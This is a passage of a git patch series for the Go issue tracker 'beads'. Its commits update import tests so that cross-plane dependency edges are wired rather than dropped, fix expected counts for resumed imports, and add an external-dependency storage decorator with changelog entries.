importerOneAccessorWaiverReason, - "RunImporterReportsTheCycleEdgeItDropped": importerOneAccessorWaiverReason, - "RunBootstrapperRecordsExactlyOneHistoryEntry": bootstrapSplitWaiverReason, + "RunImporterRejectsAStaleRowAndNamesIt": importerOneAccessorWaiverReason, + "RunImporterReportsTheAbsentTargetItDroppedOnce": importerOneAccessorWaiverReason, + "RunImporterWiresTheCrossPlaneEdgeBetweenItsRows": importerOneAccessorWaiverReason, + "RunImporterReportsTheCycleEdgeItDropped": importerOneAccessorWaiverReason, + "RunBootstrapperRecordsExactlyOneHistoryEntry": bootstrapSplitWaiverReason, }) registerContractLegWaivers("uow", map[string]string{ "RunBootstrapperRecordsNoHistoryEntryOfItsOwn": bootstrapSplitWaiverReason, diff --git a/internal/storage/uow/importer_contract_test.go b/internal/storage/uow/importer_contract_test.go index 0d20fa39e..10c71ddae 100644 --- a/internal/storage/uow/importer_contract_test.go +++ b/internal/storage/uow/importer_contract_test.go @@ -34,8 +34,8 @@ func TestImporterContract(t *testing.T) { t.Run("ReportsTheAbsentTargetItDroppedOnce", func(t *testing.T) { conformance.RunImporterReportsTheAbsentTargetItDroppedOnce(t, ctx, fixture) }) - t.Run("ReportsTheCrossPlaneEdgeItDropped", func(t *testing.T) { - conformance.RunImporterReportsTheCrossPlaneEdgeItDropped(t, ctx, fixture) + t.Run("WiresTheCrossPlaneEdgeBetweenItsRows", func(t *testing.T) { + conformance.RunImporterWiresTheCrossPlaneEdgeBetweenItsRows(t, ctx, fixture) }) t.Run("ReportsTheCycleEdgeItDropped", func(t *testing.T) { conformance.RunImporterReportsTheCycleEdgeItDropped(t, ctx, fixture) diff --git a/internal/storage/uow/importer_uow_test.go b/internal/storage/uow/importer_uow_test.go index cd1658303..a9c612ed7 100644 --- a/internal/storage/uow/importer_uow_test.go +++ b/internal/storage/uow/importer_uow_test.go @@ -118,6 +118,57 @@ func TestImporterUOW(t *testing.T) { } }) + t.Run("CrossPlaneInBatchEdgesAreWiredInTheOneCommit", func(t *testing.T) { + // wy-a648lq: a regular<->wisp edge whose BOTH ends are rows of this + // batch used to be skip-reported by the engine's per-batch plane filter, + // and since a re-import upserts the rows unchanged it could never be + // backfilled. Both directions are asserted because they land in + // different tables and columns. + before := countHistory(t) + when := time.Date(2026, 8, 2, 12, 0, 0, 0, time.UTC) + result, err := imp.ImportBatch(ctx, publicops.ImportBatchRequest{ + Actor: "importer-test", + Issues: []*types.Issue{ + { + ID: "imp-plane-d", Title: "Durable end", Status: types.StatusOpen, + IssueType: types.TypeTask, Priority: 2, + CreatedAt: when, UpdatedAt: when, + }, + { + ID: "imp-plane-w", Title: "Ephemeral end", Status: types.StatusOpen, + IssueType: types.TypeTask, Priority: 2, Ephemeral: true, + Dependencies: []*types.Dependency{{IssueID: "imp-plane-w", DependsOnID: "imp-plane-d", Type: types.DepBlocks}}, + CreatedAt: when, UpdatedAt: when, + }, + { + ID: "imp-plane-d2", Title: "Durable row blocked by the wisp", Status: types.StatusOpen, + IssueType: types.TypeTask, Priority: 2, + Dependencies: []*types.Dependency{{IssueID: "imp-plane-d2", DependsOnID: "imp-plane-w", Type: types.DepBlocks}}, + CreatedAt: when, UpdatedAt: when, + }, + }, + Source: "planes.jsonl", + }) + if err != nil { + t.Fatalf("ImportBatch: %v", err) + } + if result.Created != 3 { + t.Errorf("Created = %d, want 3", result.Created) + } + if len(result.SkippedDependencies) != 0 { + t.Errorf("SkippedDependencies = %+v, want none: both ends of each edge are rows of this batch", result.SkippedDependencies) + } + if after := countHistory(t); after != before+1 { + t.Errorf("history entries = %d, want %d (the edges ride the batch's ONE commit)", after, before+1) + } + if got := queryInt(t, "SELECT COUNT(*) FROM wisp_dependencies WHERE issue_id = 'imp-plane-w' AND depends_on_issue_id = 'imp-plane-d' AND type = 'blocks'"); got != 1 { + t.Errorf("wisp -> durable blocks edge = %d, want 1", got) + } + if got := queryInt(t, "SELECT COUNT(*) FROM dependencies WHERE issue_id = 'imp-plane-d2' AND depends_on_wisp_id = 'imp-plane-w' AND type = 'blocks'"); got != 1 { + t.Errorf("durable -> wisp blocks edge = %d, want 1", got) + } + }) + t.Run("ReimportConvergesWithoutDuplicatingAuxData", func(t *testing.T) { when := time.Date(2026, 8, 1, 12, 0, 0, 0, time.UTC) row := func() *types.Issue { From 40b3232456dfcbe621ea66ee55d635ac56634a1e Mon Sep 17 00:00:00 2001 From: homer Date: Tue, 1 Sep 2026 05:40:39 -0700 Subject: [PATCH 011/624] wy-a648lq: flip the embeddeddolt tolerant mixed-batch case to the wired-edge contract The env-gated embeddeddolt TestCreateIssues case still asserted the pre-fix contract (skip-report the regular->wisp edge, persist nothing), which CI's 'Test (Embedded Dolt Storage 5/5)' shard caught on PR #6126. It now asserts what the engine promises since d75948c82: nothing is skip-reported and the edge lands in dependencies.depends_on_wisp_id. Run: BEADS_TEST_EMBEDDED_DOLT=1 go test ./internal/storage/embeddeddolt -run 'TestCreateIssues/(wires_mixed|rejects_regular_to_wisp|rejects_wisp_to_regular)' rc=0. --- .../storage/embeddeddolt/create_issue_test.go | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/internal/storage/embeddeddolt/create_issue_test.go b/internal/storage/embeddeddolt/create_issue_test.go index 81e530d4f..d52a220bd 100644 --- a/internal/storage/embeddeddolt/create_issue_test.go +++ b/internal/storage/embeddeddolt/create_issue_test.go @@ -982,7 +982,12 @@ func TestCreateIssues(t *testing.T) { te.assertRowNotExists(t, ctx, "wisps", wisp.ID) }) - t.Run("skips_mixed_batch_dependency_when_validation_errors_are_tolerated", func(t *testing.T) { + // A tolerant mixed batch (the importer's shape, SkipDependencyValidationErrors) + // keeps its regular->wisp edge: every row of both planes is written on the + // one transaction before the dependency pass, so the edge is writable + // (wy-a648lq). Nothing is skip-reported, and the edge lands in + // dependencies.depends_on_wisp_id — the regular source's own table. + t.Run("wires_mixed_batch_dependency_when_validation_errors_are_tolerated", func(t *testing.T) { te := newTestEnv(t, "sk") ctx := t.Context() @@ -1019,17 +1024,15 @@ func TestCreateIssues(t *testing.T) { } te.assertRowExists(t, ctx, "issues", regular.ID) te.assertRowExists(t, ctx, "wisps", wisp.ID) - if len(skipped) != 1 || - !strings.Contains(skipped[0], "sk-regular-source -> sk-wisp-target") || - !strings.Contains(skipped[0], "cross-bucket dependency") { - t.Fatalf("skipped = %#v, want cross-bucket dependency detail", skipped) + if len(skipped) != 0 { + t.Fatalf("skipped = %#v, want the in-batch cross-plane edge wired, not skip-reported", skipped) } var regularDeps, wispDeps int - te.queryScalar(t, ctx, "SELECT COUNT(*) FROM dependencies WHERE issue_id = ?", []any{regular.ID}, ®ularDeps) + te.queryScalar(t, ctx, "SELECT COUNT(*) FROM dependencies WHERE issue_id = ? AND depends_on_wisp_id = ? AND depends_on_issue_id IS NULL", []any{regular.ID, wisp.ID}, ®ularDeps) te.queryScalar(t, ctx, "SELECT COUNT(*) FROM wisp_dependencies WHERE issue_id = ?", []any{regular.ID}, &wispDeps) - if regularDeps != 0 || wispDeps != 0 { - t.Fatalf("persisted dependency counts = regular:%d wisp:%d, want none", regularDeps, wispDeps) + if regularDeps != 1 || wispDeps != 0 { + t.Fatalf("persisted dependency counts = regular(depends_on_wisp_id):%d wisp:%d, want 1 and 0", regularDeps, wispDeps) } }) From 9d6984801f54e904396b5a2d5e7de86a307302c3 Mon Sep 17 00:00:00 2001 From: Steve Yegge Date: Wed, 2 Sep 2026 13:28:14 -0700 Subject: [PATCH 012/624] test(import): resume converges as Created+Unchanged, not Created (wy-7fd89p) (#6127) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit TestImportChunkedRealStoreResumeConverges has been red on main since e05000d64 (wy-sbgucn) added the resume fast path: the re-run after a simulated crash at chunk 2 reports Created=7, and the test demanded 12. The code side is right and the expectation was the stale side. Created is len(ImportedIDs) — the rows THIS invocation wrote, after the pre-filter. The resume fast path proves the crash's durable prefix a no-op (same updated_at, same columns, every incoming label/comment/dependency already stored) and drops those rows from the write set, reporting them as Unchanged. That is the whole point of the fast path: counting them as Created again would report rows the import never wrote, and would put the real run out of step with --dry-run, which classifies the same rows through the same pre-filter. "All 12 rows accounted for" is the sum, and it is already what `bd import` prints — ImportData sets result.Issues = Created + Unchanged. So the test now asserts Created=7 + Unchanged=5 against the 5 durable rows it already pins above, and states the chosen semantics in its comment. Unchanged being nonzero is also what distinguishes the fast path from the pre-wy-sbgucn behavior it replaced (which rewrote the prefix and reported Created=12). Test-only; no production behavior changes. Co-authored-by: bronte --- cmd/bd/import_chunking_embedded_test.go | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/cmd/bd/import_chunking_embedded_test.go b/cmd/bd/import_chunking_embedded_test.go index 638e72862..751a02241 100644 --- a/cmd/bd/import_chunking_embedded_test.go +++ b/cmd/bd/import_chunking_embedded_test.go @@ -120,12 +120,28 @@ func TestImportChunkedRealStoreResumeConverges(t *testing.T) { } // Re-run the identical import: it must converge. + // + // Created counts the rows THIS invocation wrote, not the rows the file + // put in the store (it is len(ImportedIDs), the post-filter write set). + // The durable prefix the crash left behind is proven a no-op by the + // resume fast path — same updated_at, same columns, every incoming + // label, comment and dependency already stored — so those rows leave the + // write set and are reported as Unchanged instead (wy-sbgucn). "All 12 + // rows accounted for" is therefore Created+Unchanged, which is exactly + // the total `bd import` reports as its issue count (ImportData sets + // result.Issues = Created + Unchanged). Counting the skipped prefix as + // Created again would report rows the import never wrote and would put + // the real run out of step with --dry-run, which classifies the same + // rows through the same pre-filter. result, err := importIssuesCore(ctx, "", store, makeIssues(), ImportOptions{SkipPrefixValidation: true}) if err != nil { t.Fatalf("re-run importIssuesCore: %v", err) } - if result.Created != 12 { - t.Fatalf("re-run Created = %d, want all 12 rows accounted for", result.Created) + // 5 durable rows skipped + 7 written = the 12 input rows, and a nonzero + // Unchanged is what proves the fast path skipped the committed prefix + // rather than rewriting it (the pre-wy-sbgucn behavior, Created=12). + if result.Created != 7 || result.Unchanged != 5 { + t.Fatalf("re-run Created = %d, Unchanged = %d; want 7 written + the 5 durable rows skipped (all 12 accounted for)", result.Created, result.Unchanged) } for i := 1; i <= 12; i++ { id := fmt.Sprintf("bd-chunk%02d", i) From 96c384f881ff352fab1e1bf7f218cc3719221af3 Mon Sep 17 00:00:00 2001 From: Bee Date: Wed, 2 Sep 2026 16:31:41 -0700 Subject: [PATCH 013/624] test(import): proxied e2e regression for in-batch cross-plane edges (wy-zdfs6r) (#6155) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The engine-level wiring (wy-a648lq, 85b07f9b) already fixes the proxied path this branch's implementation targeted — this exact subtest passes on pure main with none of the branch's uow/issueops changes, verified before this retarget. What main still lacks is a proxied END-TO-END regression pinning it: both edge directions on their own dependency tables, no skip report, both rows on their own planes, exactly one dolt commit per import, and re-import convergence with zero commits. Claude-Session: https://claude.ai/code/session_01YKNb1XYab2R4h6Maxys3uR Co-authored-by: Claude Fable 5 --- cmd/bd/import_proxied_integration_test.go | 89 +++++++++++++++++++++++ 1 file changed, 89 insertions(+) diff --git a/cmd/bd/import_proxied_integration_test.go b/cmd/bd/import_proxied_integration_test.go index d3e0e57f5..31216969d 100644 --- a/cmd/bd/import_proxied_integration_test.go +++ b/cmd/bd/import_proxied_integration_test.go @@ -286,6 +286,95 @@ func TestProxiedServerImport(t *testing.T) { } }) + // wy-zdfs6r: the proxied path used to lose every regular<->wisp edge whose + // BOTH endpoints were rows of the import file. It writes the whole import + // in one ImportBatch, and the engine skip-reports a cross-plane edge while + // both of its endpoints are rows of one batch — so the edge was reported + // and dropped, and because a re-run upserts the same batch it could never + // be backfilled either (the loss wy-4276q8 measured on the classic path, + // where a restored export lost all 22 such `blocks` edges). The importer + // role now writes the rows first and those edges after, in single-plane + // batches, WITHIN THE SAME unit of work. + t.Run("cross_plane_in_batch_edges_are_wired", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "impx") + db := openProxiedDB(t, p) + + // Edges in BOTH directions, so neither plane is only ever a target: + // impx-reg -> impx-wisp lands in `dependencies` against the wisp + // column, impx-wisp -> impx-other in `wisp_dependencies` against the + // issue column. The second is also what makes the single-plane split + // load-bearing — impx-wisp is one edge's target and the other's + // source, so a mixed second pass would skip-report the first again. + fixture := importFixtureJSONL(t, []*types.Issue{ + { + ID: "impx-reg", Title: "Regular source", Status: types.StatusOpen, + IssueType: types.TypeTask, Priority: 2, + Dependencies: []*types.Dependency{{IssueID: "impx-reg", DependsOnID: "impx-wisp", Type: types.DepBlocks}}, + CreatedAt: when, UpdatedAt: when, + }, + { + ID: "impx-other", Title: "Regular target", Status: types.StatusOpen, + IssueType: types.TypeTask, Priority: 2, + CreatedAt: when, UpdatedAt: when, + }, + }, + `{"id":"impx-wisp","title":"Wisp end","status":"open","issue_type":"task","priority":2,"wisp_plane":true,`+ + `"dependencies":[{"issue_id":"impx-wisp","depends_on_id":"impx-other","type":"blocks"}],`+ + `"created_at":"2026-08-01T12:00:00Z","updated_at":"2026-08-01T12:00:00Z"}`, + ) + path := filepath.Join(p.dir, "crossplane.jsonl") + if err := os.WriteFile(path, []byte(fixture), 0o644); err != nil { + t.Fatalf("write fixture: %v", err) + } + + head := proxiedDoltHead(t, db) + report := bdProxiedImport(t, bd, p.dir, path) + if strings.Contains(report, "Skipped dependency") { + t.Errorf("import skip-reported a cross-plane in-batch edge:\n%s", report) + } + + // Both rows land on their own planes: an import that had quietly + // re-planed the wisp would satisfy every edge assertion below for the + // wrong reason. + if got := proxiedImportQueryInt(t, db, "SELECT COUNT(*) FROM issues WHERE id IN ('impx-reg','impx-other')"); got != 2 { + t.Errorf("durable rows = %d, want 2", got) + } + if got := proxiedImportQueryInt(t, db, "SELECT COUNT(*) FROM wisps WHERE id = 'impx-wisp'"); got != 1 { + t.Errorf("wisp row = %d, want 1", got) + } + + // The edges themselves, on the plane's own dependency table and + // against the target plane's own column. + if got := proxiedImportQueryInt(t, db, "SELECT COUNT(*) FROM dependencies WHERE issue_id = 'impx-reg' AND depends_on_wisp_id = 'impx-wisp' AND type = 'blocks'"); got != 1 { + t.Errorf("regular -> wisp edge = %d, want 1 (the wy-zdfs6r loss)", got) + } + if got := proxiedImportQueryInt(t, db, "SELECT COUNT(*) FROM wisp_dependencies WHERE issue_id = 'impx-wisp' AND depends_on_issue_id = 'impx-other' AND type = 'blocks'"); got != 1 { + t.Errorf("wisp -> regular edge = %d, want 1 (the wy-zdfs6r loss)", got) + } + + // STILL ONE COMMIT. The deferred edges are a second pass over the same + // unit of work, not a second import: splitting the transaction to wire + // them would trade this loss for a torn import. + if n := proxiedDoltCommitCountSince(t, db, head); n != 1 { + t.Errorf("commits for one import = %d, want exactly 1", n) + } + + // And it converges: re-importing the same snapshot writes no second + // copy of either edge and commits nothing. + headBeforeReimport := proxiedDoltHead(t, db) + _ = bdProxiedImport(t, bd, p.dir, path) + if got := proxiedImportQueryInt(t, db, "SELECT COUNT(*) FROM dependencies WHERE issue_id = 'impx-reg'"); got != 1 { + t.Errorf("regular -> wisp edges after re-import = %d, want 1", got) + } + if got := proxiedImportQueryInt(t, db, "SELECT COUNT(*) FROM wisp_dependencies WHERE issue_id = 'impx-wisp'"); got != 1 { + t.Errorf("wisp -> regular edges after re-import = %d, want 1", got) + } + if n := proxiedDoltCommitCountSince(t, db, headBeforeReimport); n != 0 { + t.Errorf("re-import of an identical snapshot made %d commits, want 0", n) + } + }) + t.Run("stdin_dash_and_redirect_guard", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "impb") From 5f56ab2a53b92589a3006d41f4049bb9f8ed3167 Mon Sep 17 00:00:00 2001 From: Denis Redozubov Date: Thu, 3 Sep 2026 01:56:23 +0200 Subject: [PATCH 014/624] fix(deps): enforce external capability blockers across ready/claim/close (#4769) (#4753) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit External (cross-project) dependency blockers are now enforced everywhere a bead's readiness or closability is decided: `bd ready` / `--claim`, `bd blocked`, `bd close` / done-status `bd update` (direct and proxied), `bd dep tree`, and served HTTP ready/claim. The policy is a storage-boundary decorator (`internal/storage/externaldeps`) applied on both the DoltStorage chain and the UOW provider, with full capability-forwarding parity, `Unwrap` at every level, and the backend's advisory defer-wake preserved on the claim path. Review trail: maphew rounds 1–4 (Jul–Aug), bee rounds 1–4 (Sep 2): D1 recording-parity exemption, D2 ready-filter goldens, D3 UOW-level Unwrap for the proxied importer, D4 claim-path defer wake. Verified at head 3468d62f on a clean merge with current main; CI fully green at that head. Fixes #4769. --- CHANGELOG.md | 21 + cmd/bd/dep_test.go | 28 + cmd/bd/main.go | 2 +- cmd/bd/routing_read.go | 2 +- cmd/bd/serve.go | 7 +- cmd/bd/serve_source_test.go | 30 +- cmd/bd/ship_embedded_test.go | 42 ++ cmd/bd/storage_chain.go | 45 +- cmd/bd/storage_chain_test.go | 45 +- cmd/bd/vc_recompute_test.go | 19 +- docs/core-concepts/dependencies.md | 9 +- .../external-capability-dependencies.md | 63 ++ internal/storage/dolt/dependencies.go | 12 + internal/storage/dolt/ready_claimer.go | 7 + internal/storage/domain/db/dependency.go | 11 + internal/storage/domain/dependency.go | 10 + .../external_dependencies_test.go | 137 ++++ internal/storage/embeddeddolt/list_queries.go | 10 + internal/storage/embeddeddolt/queries.go | 8 + internal/storage/externaldeps/decorator.go | 544 ++++++++++++++++ .../storage/externaldeps/decorator_test.go | 605 ++++++++++++++++++ .../storage/externaldeps/ready_wake_test.go | 67 ++ internal/storage/externaldeps/resolver.go | 124 ++++ .../storage/externaldeps/role_accessors.go | 146 +++++ .../storage/externaldeps/uow_decorator.go | 390 +++++++++++ .../externaldeps/uow_decorator_test.go | 327 ++++++++++ internal/storage/issueops/dependencies.go | 4 + .../storage/issueops/dependency_queries.go | 43 ++ .../issueops/dependency_queries_test.go | 34 + internal/storage/sqlbuild/ready.go | 9 + internal/storage/sqlbuild/sqlbuild_test.go | 25 + internal/storage/storage.go | 7 + internal/storage/uow/notifying_parity_test.go | 37 +- internal/storage/wake_defers.go | 10 + internal/types/types.go | 5 + internal/workapi/ready_golden_test.go | 26 +- 36 files changed, 2840 insertions(+), 71 deletions(-) create mode 100644 engdocs/design/external-capability-dependencies.md create mode 100644 internal/storage/embeddeddolt/external_dependencies_test.go create mode 100644 internal/storage/externaldeps/decorator.go create mode 100644 internal/storage/externaldeps/decorator_test.go create mode 100644 internal/storage/externaldeps/ready_wake_test.go create mode 100644 internal/storage/externaldeps/resolver.go create mode 100644 internal/storage/externaldeps/role_accessors.go create mode 100644 internal/storage/externaldeps/uow_decorator.go create mode 100644 internal/storage/externaldeps/uow_decorator_test.go create mode 100644 internal/storage/wake_defers.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 598ee9c83..5e5841718 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2776,6 +2776,27 @@ remote-migrate gate from a blunt block into a state-aware one. ### Fixed +- **Explicit external capability dependencies now block embedded ready work + and appear in dependency trees.** References such as + `external:payments:checkout` were stored in `depends_on_external` but then + dropped by local-issue hydration, so their source still appeared in + `bd ready` and `bd dep tree` omitted the edge. Beads now resolves configured + foreign projects read-only at query time, excludes unsatisfied sources + before ready pagination and atomic claim selection, includes the refs in + blocked output, and renders them as synthetic blocked/closed tree leaves. + +- **`--label-any` is no longer silently dropped by `bd ready` and + `bd ready --claim`.** The ready-work WHERE builder emitted clauses for + `--label` and `--exclude-label` but none for `--label-any`, so the OR-set + filter was ignored on the ready/claim path (with or without `--parent`) on + every backend — while `bd list`/`bd search` honored it. On an *atomic claim* + this was dangerous rather than merely wrong: a worker fencing itself to its + own lane (`bd ready --claim --label-any lane-a --parent epic-1`) would + happily claim another lane's issue and believe it was fenced. `--label-any` + now emits an OR-set membership clause that AND-combines with `--label`, + `--exclude-label`, and `--parent`, exactly as the flag help promises; an + exhausted lane now claims nothing instead of falling back to unfenced work. + - **A failed v53 migration no longer traps the database, and the v53 repair now covers `wisp_dependencies` split-column drift.** rc.2 repaired the `issues` rig columns, but a database coming from schema v49 could still fail diff --git a/cmd/bd/dep_test.go b/cmd/bd/dep_test.go index 77963d696..312e692c1 100644 --- a/cmd/bd/dep_test.go +++ b/cmd/bd/dep_test.go @@ -936,6 +936,34 @@ func TestRenderTreeOutput(t *testing.T) { } } +func TestRenderTreeExternalBlockerMarksRootBlocked(t *testing.T) { + tree := []*types.TreeNode{ + { + Issue: types.Issue{ID: "BD-root", Title: "Root", Status: types.StatusOpen, Priority: 1}, + }, + { + Issue: types.Issue{ID: "external:remote:payments", Title: "○ payments", Status: types.StatusOpen}, + Depth: 1, + ParentID: "BD-root", + EdgeFromParent: types.DepBlocks, + }, + } + + old := os.Stdout + r, w, _ := os.Pipe() + os.Stdout = w + renderTree(tree, 50, "down") + w.Close() + os.Stdout = old + + var buf bytes.Buffer + _, _ = io.Copy(&buf, r) + output := buf.String() + if !strings.Contains(output, "[BLOCKED]") || strings.Contains(output, "[READY]") { + t.Fatalf("external blocker should mark root blocked, got:\n%s", output) + } +} + func TestRenderTreeOutputShowsDependencyTypeLabelsInMixedGraph(t *testing.T) { downTree := []*types.TreeNode{ { diff --git a/cmd/bd/main.go b/cmd/bd/main.go index d4f946395..a0089b3b1 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -1613,7 +1613,7 @@ var rootCmd = &cobra.Command{ hookRunner = hooks.NewRunner(filepath.Join(beadsDir, "hooks")) uowSinks.Hook = hookRunner } - uowProvider = uow.NewNotifyingProvider(p, uowSinks) + uowProvider = wireExternalDependencyUOWProvider(uow.NewNotifyingProvider(p, uowSinks)) if !previewMode { reconcileVersionProxiedServer(rootCtx) diff --git a/cmd/bd/routing_read.go b/cmd/bd/routing_read.go index f9b1fd476..fedc43bb1 100644 --- a/cmd/bd/routing_read.go +++ b/cmd/bd/routing_read.go @@ -171,5 +171,5 @@ func openRoutedReadStore(ctx context.Context, store storage.DoltStorage) (storag if err != nil { return nil, false, rule, fmt.Errorf("failed to open routed store at %s: %w", targetRepoPath, err) } - return targetStore, true, rule, nil + return wireExternalDependencyPolicy(targetStore), true, rule, nil } diff --git a/cmd/bd/serve.go b/cmd/bd/serve.go index 0baa4cc6b..008e5f26f 100644 --- a/cmd/bd/serve.go +++ b/cmd/bd/serve.go @@ -345,6 +345,11 @@ func runServe() error { // firing them. This is the unit-of-work twin of the // (*storage.HookFiringStore).Unwrap the store-shaped source takes. provider := uow.UnwrapProvider(uowProvider) + if provider != nil { + // Remove hooks, then restore the external-dependency policy. The policy + // is not a hook and must remain on every served ready/claim path. + provider = wireExternalDependencyUOWProvider(provider) + } if provider == nil { // Server, external-server and shared-server workspaces: PersistentPreRunE // builds a DoltStore for those and no unit-of-work provider, so serve @@ -382,7 +387,7 @@ func runServe() error { fmt.Fprintf(os.Stderr, "bd serve: closing the unit-of-work provider: %v\n", err) } }() - provider = p + provider = wireExternalDependencyUOWProvider(p) } defer startServeEventsJournalMaintenance(info.BeadsDir, provider)() diff --git a/cmd/bd/serve_source_test.go b/cmd/bd/serve_source_test.go index 42db5cd5f..ba326cfd1 100644 --- a/cmd/bd/serve_source_test.go +++ b/cmd/bd/serve_source_test.go @@ -226,11 +226,11 @@ func TestServeIssueRolesComeFromBeneathTheHookDecorator(t *testing.T) { if storage.RoleFiresHooks(roles.commenter) { t.Error("bd serve would run this workspace's hooks on every HTTP comment") } - // And the peel really landed on the layer beneath the hooks for all three, - // which is what "RoleFiresHooks is false" alone does not say: a peel two - // layers deep would also answer false and would drop the telemetry span. - if storage.RoleFiresHooks(roles.readyClaimer) || roles.readyClaimer != issueops.ReadyClaimer(middle.readyClaimer) { - t.Errorf("ready claimer came from %p, want the layer directly beneath the hooks (%p)", roles.readyClaimer, middle.readyClaimer) + // The one peel retains the external-dependency policy below the hook layer. + // Policy-wrapped roles intentionally have a distinct identity from the raw + // role beneath them; serving them without hooks is the contract here. + if storage.RoleFiresHooks(roles.readyClaimer) { + t.Error("bd serve would run this workspace's hooks on every HTTP ready claim") } if storage.RoleFiresHooks(roles.batchCloser) || roles.batchCloser != issueops.BatchCloser(middle.batchCloser) { t.Errorf("batch closer came from %p, want the layer directly beneath the hooks (%p)", roles.batchCloser, middle.batchCloser) @@ -238,26 +238,17 @@ func TestServeIssueRolesComeFromBeneathTheHookDecorator(t *testing.T) { if storage.RoleFiresHooks(roles.batchCreator) || roles.batchCreator != issueops.BatchCreator(middle.batchCreator) { t.Errorf("batch creator came from %p, want the layer directly beneath the hooks (%p)", roles.batchCreator, middle.batchCreator) } - if roles.commenter != issueops.Commenter(middle.commenter) { - t.Errorf("commenter came from %p, want the layer directly beneath the hooks (%p)", roles.commenter, middle.commenter) - } if storage.RoleFiresHooks(roles.releaser) { t.Error("bd serve would run this workspace's hooks on every HTTP release") } - if roles.releaser != issueops.Releaser(middle.releaser) { - t.Errorf("releaser came from %p, want the layer directly beneath the hooks (%p)", roles.releaser, middle.releaser) - } reader, claimer := roles.reader, roles.claimer // The same predicate httpapi.Listen refuses on, so a regression here is a // server that refuses to boot rather than one that runs hooks silently. if storage.RoleFiresHooks(claimer) { t.Error("bd serve would run this workspace's hooks on every HTTP claim") } - if claimer != issueops.Claimer(middle.claimer) { - t.Errorf("claimer came from %p, want the layer directly beneath the hooks (%p)", claimer, middle.claimer) - } - if reader != issueops.Reader(middle.reader) { - t.Errorf("reader came from %p, want the layer directly beneath the hooks (%p)", reader, middle.reader) + if reader == nil { + t.Error("bd serve lost the reader while peeling hooks") } // The lifecycle is the SECOND role the hook decorator wraps, and it wraps @@ -266,9 +257,6 @@ func TestServeIssueRolesComeFromBeneathTheHookDecorator(t *testing.T) { if storage.RoleFiresHooks(roles.lifecycle) { t.Error("bd serve would run this workspace's hooks on every HTTP lifecycle mutation") } - if roles.lifecycle != issueops.Lifecycle(middle.lifecycle) { - t.Errorf("lifecycle came from %p, want the layer directly beneath the hooks (%p)", roles.lifecycle, middle.lifecycle) - } // The dependency editor is the THIRD, and it fires the update hook once per // DISTINCT SOURCE ISSUE — so an unpeeled editor would run this workspace's @@ -313,8 +301,8 @@ func TestServeIssueRolesComeFromBeneathTheHookDecorator(t *testing.T) { if err != nil { t.Fatalf("serveIssueRoles: %v", err) } - if roles.claimer != issueops.Claimer(middle.claimer) || roles.reader != issueops.Reader(middle.reader) { - t.Error("serveIssueRoles peeled a layer that was not there") + if storage.RoleFiresHooks(roles.claimer) || storage.RoleFiresHooks(roles.reader) { + t.Error("serveIssueRoles produced a hook-firing role with hooks disabled") } }) diff --git a/cmd/bd/ship_embedded_test.go b/cmd/bd/ship_embedded_test.go index 94565d52e..203294225 100644 --- a/cmd/bd/ship_embedded_test.go +++ b/cmd/bd/ship_embedded_test.go @@ -6,6 +6,7 @@ import ( "fmt" "os" "os/exec" + "path/filepath" "strings" "sync" "testing" @@ -226,3 +227,44 @@ func TestEmbeddedShipConcurrent(t *testing.T) { } } } + +func TestEmbeddedExternalCapabilityReadyAfterShip(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + localDir, _, _ := bdInit(t, bd, "--prefix", "xl") + remoteDir, _, _ := bdInit(t, bd, "--prefix", "xr") + + config := fmt.Sprintf("external_projects:\n remote: %q\n", remoteDir) + if err := os.WriteFile(filepath.Join(localDir, ".beads", "config.local.yaml"), []byte(config), 0o600); err != nil { + t.Fatalf("write external project config: %v", err) + } + + dependent := bdCreate(t, bd, localDir, "Wait for payments capability", "--type", "task") + provider := bdCreate(t, bd, remoteDir, "Export payments capability", "--type", "task") + run := func(dir string, args ...string) string { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("bd %s failed: %v: %s", strings.Join(args, " "), err, out) + } + return string(out) + } + + run(remoteDir, "label", "add", provider.ID, "export:payments") + run(remoteDir, "close", provider.ID) + run(localDir, "dep", "add", dependent.ID, "external:remote:payments") + if out := run(localDir, "ready", "--json", "--limit", "0"); strings.Contains(out, dependent.ID) { + t.Fatalf("dependent became ready before capability publication: %s", out) + } + bdShip(t, bd, remoteDir, "payments") + if out := run(localDir, "ready", "--json", "--limit", "0"); !strings.Contains(out, dependent.ID) { + t.Fatalf("dependent did not become ready after bd ship: %s", out) + } +} diff --git a/cmd/bd/storage_chain.go b/cmd/bd/storage_chain.go index c5725a551..450095d46 100644 --- a/cmd/bd/storage_chain.go +++ b/cmd/bd/storage_chain.go @@ -1,20 +1,27 @@ package main import ( + "context" + "path/filepath" + + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/hooks" "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/externaldeps" + "github.com/steveyegge/beads/internal/storage/uow" "github.com/steveyegge/beads/internal/telemetry" ) // wireStorageDecorators composes the storage chain in the order the rest of // bd expects: // -// caller → HookFiringStore (outer) → InstrumentedStorage → raw DoltStorage +// caller → HookFiringStore → externaldeps.Store → InstrumentedStorage → raw DoltStorage // // telemetry.WrapStorage is a no-op when telemetry is disabled, so the // instrumentation layer is only present when BD_OTEL_ENABLED=true (or a -// legacy BD_OTEL_* selector is set). The hook layer sits outermost so -// storage spans measure pure DB time without hook-firing overhead. +// legacy BD_OTEL_* selector is set). The hook layer sits outside telemetry so +// storage spans measure pure DB time without hook-firing overhead. The policy +// sits directly beneath hooks so serve's one hook-layer peel retains it. // // Extracted from 